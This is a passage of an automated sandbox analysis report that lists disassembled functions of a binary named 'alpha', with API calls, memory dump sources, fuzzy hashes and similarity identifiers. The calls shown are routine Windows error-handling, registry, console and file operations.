                                                      • Part of subcall function 00007FF6BF3F758C: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F75AE
                                                      • Part of subcall function 00007FF6BF3F758C: SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,00000000,00007FF6BF3F6999,?,?,?,?,?,00007FF6BF3E8C39), ref: 00007FF6BF3F75C6
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorLast$CreateCurrentMutexProcess
                                                    • String ID: Local\SM0:%d:%d:%hs$wil$x
                                                    • API String ID: 779401067-630742106
                                                    • Opcode ID: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                    • Instruction ID: 37ca589a371df8238c922653a31d6cc597a2917d79910dcc5362d9e5b203fad9
                                                    • Opcode Fuzzy Hash: 455202d7a479b8eb008443c79237f92c22bbe4b1cb8e523106a0b0b2338ac627
                                                    • Instruction Fuzzy Hash: FA51A772A1868282EB91DBA9E4007FA6760EF94784F506032EB4ECFA75DE7CD445C780
                                                    Function 00007FF6BF3E417C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 54COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CurrentDirectorytowupper
                                                    • String ID: :$:
                                                    • API String ID: 238703822-3780739392
                                                    • Opcode ID: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
                                                    • Instruction ID: b509e305e8ef5f105f86bb87fe8e335aa4ff4a96a3f4fa26ff4764fb11727853
                                                    • Opcode Fuzzy Hash: dcf03791281f7c84e6b05e0af004632f1679b3806237a1a98edf480c5c28324e
                                                    • Instruction Fuzzy Hash: AC110462618741C5EB258BA9E804279BBE0EF5D799F458132DF0D8B7A1DF3CD4428714
                                                    Function 00007FF6BF3D58D4 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: CloseOpenQueryValue
                                                    • String ID: Software\Microsoft\Windows NT\CurrentVersion$UBR
                                                    • API String ID: 3677997916-3870813718
                                                    • Opcode ID: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                    • Instruction ID: d20afef1353a07342f6d2eb7634691bd6e6163649e48664003cc8ba6abe78c68
                                                    • Opcode Fuzzy Hash: e374f3dcbd9129e05b114749def04da8ffc7e52e41f89dc762ae3dbe31e9aca9
                                                    • Instruction Fuzzy Hash: F2117036618B41C7EB108FA8E44026ABBA0FB99765F405231DB8D47B78DF7CC048CB04
                                                    Function 00007FF6BF3D4C18 Relevance: 7.7, APIs: 5, Instructions: 164COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memsetwcsrchr$wcschr
                                                    • String ID:
                                                    • API String ID: 110935159-0
                                                    • Opcode ID: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
                                                    • Instruction ID: 3e9b3b37c09d828fe19d905013d7442f2d8ce464a29e8def5c88e29edaef498e
                                                    • Opcode Fuzzy Hash: b345b7c45728a808ede4069a13096384997743dec9cf79993fccb4cd8bca3deb
                                                    • Instruction Fuzzy Hash: EE510526B0978285FEA19BA9D8003F96390BF49BA4F084131CF5E8FBE5DE3CE5518340
                                                    Function 00007FF6BF3E5EE4 Relevance: 7.6, APIs: 5, Instructions: 146COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$CurrentDirectorytowupper
                                                    • String ID:
                                                    • API String ID: 1403193329-0
                                                    • Opcode ID: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                    • Instruction ID: 67423db8c277ba4a34d3f8feba74e565a434105b5f9e4c7e5aaf75eba49ee224
                                                    • Opcode Fuzzy Hash: 5fd9396427832dd309ea45de15a329022afb5af3b1e2a9a89c5af6baa20d3923
                                                    • Instruction Fuzzy Hash: 7F51D236A2969185EB649FA8D8006F977A0FF58758F448035CB0D8B3E4EF7CE9848360
                                                    Function 00007FF6BF3D91C0 Relevance: 7.6, APIs: 5, Instructions: 138COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • memset.MSVCRT ref: 00007FF6BF3D921C
                                                    • ??_V@YAXPEAX@Z.MSVCRT ref: 00007FF6BF3D93AA
                                                      • Part of subcall function 00007FF6BF3D8B20: wcsrchr.MSVCRT ref: 00007FF6BF3D8BAB
                                                      • Part of subcall function 00007FF6BF3D8B20: _wcsicmp.MSVCRT ref: 00007FF6BF3D8BD4
                                                      • Part of subcall function 00007FF6BF3D8B20: _wcsicmp.MSVCRT ref: 00007FF6BF3D8BF2
                                                      • Part of subcall function 00007FF6BF3D8B20: GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3D8C16
                                                      • Part of subcall function 00007FF6BF3D8B20: GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3D8C2F
                                                      • Part of subcall function 00007FF6BF3D8B20: wcschr.MSVCRT ref: 00007FF6BF3D8CB3
                                                      • Part of subcall function 00007FF6BF3E417C: GetCurrentDirectoryW.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3E41AD
                                                      • Part of subcall function 00007FF6BF3E3060: SetErrorMode.KERNELBASE(00000000,00000000,0000000A,00007FF6BF3D92AC), ref: 00007FF6BF3E30CA
                                                      • Part of subcall function 00007FF6BF3E3060: SetErrorMode.KERNELBASE ref: 00007FF6BF3E30DD
                                                      • Part of subcall function 00007FF6BF3E3060: GetFullPathNameW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3E30F6
                                                      • Part of subcall function 00007FF6BF3E3060: SetErrorMode.KERNELBASE ref: 00007FF6BF3E3106
                                                    • wcsrchr.MSVCRT ref: 00007FF6BF3D92D8
                                                    • GetFileAttributesW.API-MS-WIN-CORE-FILE-L1-1-0 ref: 00007FF6BF3D9362
                                                    • GetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0 ref: 00007FF6BF3D9373
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Error$Mode$AttributesFileLast_wcsicmpmemsetwcsrchr$CurrentDirectoryFullNamePathwcschr
                                                    • String ID:
                                                    • API String ID: 3966000956-0
                                                    • Opcode ID: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
                                                    • Instruction ID: 3a7ec91c39a762679f31439467c51fa2aa38fed63d32ed3dbf40d92b3280d01d
                                                    • Opcode Fuzzy Hash: 51d36840c515d6297a634993eddc42ebf602c1e6363eff28c9f7b85ed9b18e6d
                                                    • Instruction Fuzzy Hash: A951B236A0A78285EB618FA9D8602F977A0FF49B84F044135DB4D8BBA5DF3CE551C380
                                                    Function 00007FF6BF3D2A30 Relevance: 7.6, APIs: 5, Instructions: 119COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$_setjmp
                                                    • String ID:
                                                    • API String ID: 3883041866-0
                                                    • Opcode ID: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                    • Instruction ID: d893b2f9ca3de9ca01ff48f6dd62566108262a828ac79090a9eb7459825466c4
                                                    • Opcode Fuzzy Hash: e33d06249403871d6f9610438f4bfbc3f30fdab118e84afd621e3dd41ff84285
                                                    • Instruction Fuzzy Hash: 14518036608B868AEB61CF68D8803E977A4FB49748F404135DB4D8BB69DF7CD645CB40
                                                    Function 00007FF6BF3DB49C Relevance: 7.6, APIs: 3, Strings: 2, Instructions: 106COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB4BD
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06D6
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E06F0
                                                      • Part of subcall function 00007FF6BF3E06C0: GetProcessHeap.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E074D
                                                      • Part of subcall function 00007FF6BF3E06C0: HeapAlloc.API-MS-WIN-CORE-HEAP-L1-1-0(?,?,00000000,00007FF6BF3DB4DB), ref: 00007FF6BF3E0762
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB518
                                                    • _wcsicmp.MSVCRT ref: 00007FF6BF3DB58B
                                                    Strings
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Heap$_wcsicmp$AllocProcess
                                                    • String ID: ELSE$IF/?
                                                    • API String ID: 3223794493-1134991328
                                                    • Opcode ID: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                    • Instruction ID: 861b550c4de4a8dbf77d2fd1678629365ad6cfe9df1ea70b0a381a89afca3af0
                                                    • Opcode Fuzzy Hash: 423616b0ad94ea500b20ba8b377132b2965d659a86947a17f8aec48fbfe776c9
                                                    • Instruction Fuzzy Hash: 15413625E5964382FA54ABECA4152BD27A2EF54784F485439DB4ECB3B7DF3CE8008790
                                                    Function 00007FF6BF3FE3E8 Relevance: 7.6, APIs: 5, Instructions: 105fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: memset$File_get_osfhandle$PointerReadlongjmp
                                                    • String ID:
                                                    • API String ID: 1532185241-0
                                                    • Opcode ID: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
                                                    • Instruction ID: 6b676fa6b51133b7fd85ff85f1fd538c6cadf7efd47fdad0453bd924913edb07
                                                    • Opcode Fuzzy Hash: 771aa78906e2d4e00bf09d1751668696db7999ff0f41d10bb5d7c13c5b4464d7
                                                    • Instruction Fuzzy Hash: 6F412832A087528BE7509BB9D44567D7BA1FB88B40F444539EB0ACB7A5CF3CE841C740
                                                    Function 00007FF6BF3D4FE8 Relevance: 7.6, APIs: 5, Instructions: 102fileCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorFileLast$DeleteRead_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 3588551418-0
                                                    • Opcode ID: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
                                                    • Instruction ID: c6bf4fd3c1f18ffe51887b675e8e5a2e248632e0c449b9eece25e24a0ff03884
                                                    • Opcode Fuzzy Hash: 7b3e9ef8f9e00def7e0f555f85ef5a51875302e682b222ee2a1690b22849d021
                                                    • Instruction Fuzzy Hash: FB417175A08642CBF7649B99A48027DBB61EF85B81F545039DB4ECB7B6CF3CE8508780
                                                    Function 00007FF6BF3FE558 Relevance: 7.6, APIs: 5, Instructions: 100COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: ErrorModememset$FullNamePath_wcsicmp
                                                    • String ID:
                                                    • API String ID: 2123716050-0
                                                    • Opcode ID: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
                                                    • Instruction ID: 5d15ff028ba57b763168de6fb50f905d519f9ab8011e51de2a8bae3bbb750525
                                                    • Opcode Fuzzy Hash: 33d1f1addd1234cebd96803971f963ad7e2cc1408ae37093ec207d02c7820e71
                                                    • Instruction Fuzzy Hash: 59419C32709AC68AEB758F69D8503E96794EB49B88F044134DB4D8EBA9DF3CD6488740
                                                    Function 00007FF6BF3D65F8 Relevance: 7.6, APIs: 5, Instructions: 96COMMON
                                                    Download Yara Rule
                                                    APIs
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$Window_get_osfhandle$InitializeModeUninitializememset
                                                    • String ID:
                                                    • API String ID: 3114114779-0
                                                    • Opcode ID: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
                                                    • Instruction ID: 86c1d1ea6a7e305a1a62b4fead22fea11801f2182a894d121a74906ce944c611
                                                    • Opcode Fuzzy Hash: dd13b5c20e564fbc5da2777ccedce70a1d97cd9fadfc38a69240d2783957a71e
                                                    • Instruction Fuzzy Hash: D6412736A09B46CAE700CFB9D4502AC3BA5FB98748F544136EB0D97B64DF38E456C790
                                                    Function 00007FF6BF3FA73C Relevance: 7.6, APIs: 5, Instructions: 84registryCOMMON
                                                    Download Yara Rule
                                                    APIs
                                                    • RegOpenKeyExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA77A
                                                    • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA7AF
                                                    • RegQueryValueExW.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA80E
                                                    • SetLastError.API-MS-WIN-CORE-ERRORHANDLING-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA839
                                                    • RegCloseKey.API-MS-WIN-CORE-REGISTRY-L1-1-0(?,?,?,?,00000000,00000000,00000000,00007FF6BF3F9A82), ref: 00007FF6BF3FA850
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: QueryValue$CloseErrorLastOpen
                                                    • String ID:
                                                    • API String ID: 2240656346-0
                                                    • Opcode ID: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                    • Instruction ID: c669ee8a230449f3f0f949b2e4eed42c560a5f0fd0b6d9aad9b0203e80537ebc
                                                    • Opcode Fuzzy Hash: 259df60cb868630656fe61ae38790f52a7232b22d9cc8ec1dbee3975f468035b
                                                    • Instruction Fuzzy Hash: 2C317036A28B8186EB508FA9E44057EBBA4FF88790F544134EB4E87774DF3CD8558B40
                                                    Function 00007FF6BF3FD0C0 Relevance: 7.6, APIs: 5, Instructions: 64COMMON
                                                    Download Yara Rule
                                                    APIs
                                                      • Part of subcall function 00007FF6BF3E01B8: _get_osfhandle.MSVCRT ref: 00007FF6BF3E01C4
                                                      • Part of subcall function 00007FF6BF3E01B8: GetFileType.API-MS-WIN-CORE-FILE-L1-1-0(?,?,?,00007FF6BF3EE904,?,?,?,?,00000000,00007FF6BF3E3491,?,?,?,00007FF6BF3F4420), ref: 00007FF6BF3E01D6
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3FD0F9
                                                    • GetConsoleScreenBufferInfo.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD10F
                                                    • ScrollConsoleScreenBufferW.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD166
                                                    • GetStdHandle.API-MS-WIN-CORE-PROCESSENVIRONMENT-L1-1-0 ref: 00007FF6BF3FD17A
                                                    • SetConsoleCursorPosition.API-MS-WIN-CORE-CONSOLE-L2-1-0 ref: 00007FF6BF3FD18C
                                                    Memory Dump Source
                                                    • Source File: 00000003.00000002.1711578839.00007FF6BF3D1000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF6BF3D0000, based on PE: true
                                                    • Associated: 00000003.00000002.1711560484.00007FF6BF3D0000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711616236.00007FF6BF402000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF40D000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF411000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711642085.00007FF6BF41F000.00000004.00000001.01000000.00000004.sdmpDownload File
                                                    • Associated: 00000003.00000002.1711903140.00007FF6BF429000.00000002.00000001.01000000.00000004.sdmpDownload File
                                                    Joe Sandbox IDA Plugin
                                                    • Snapshot File: hcaresult_3_2_7ff6bf3d0000_alpha.jbxd
                                                    Similarity
                                                    • API ID: Console$BufferHandleScreen$CursorFileInfoPositionScrollType_get_osfhandle
                                                    • String ID:
                                                    • API String ID: 3008996577-0
                                                    • Opcode ID: cebe966d7df5a2bd0607568b5e1b41817dd61a68bafb8258f014fa92f4b8adc0
                                                    • Instruction ID: f3122f9f21315a330ad1919caa6bbfd37bbfe0fa66d7839908de00ffb3bffa51
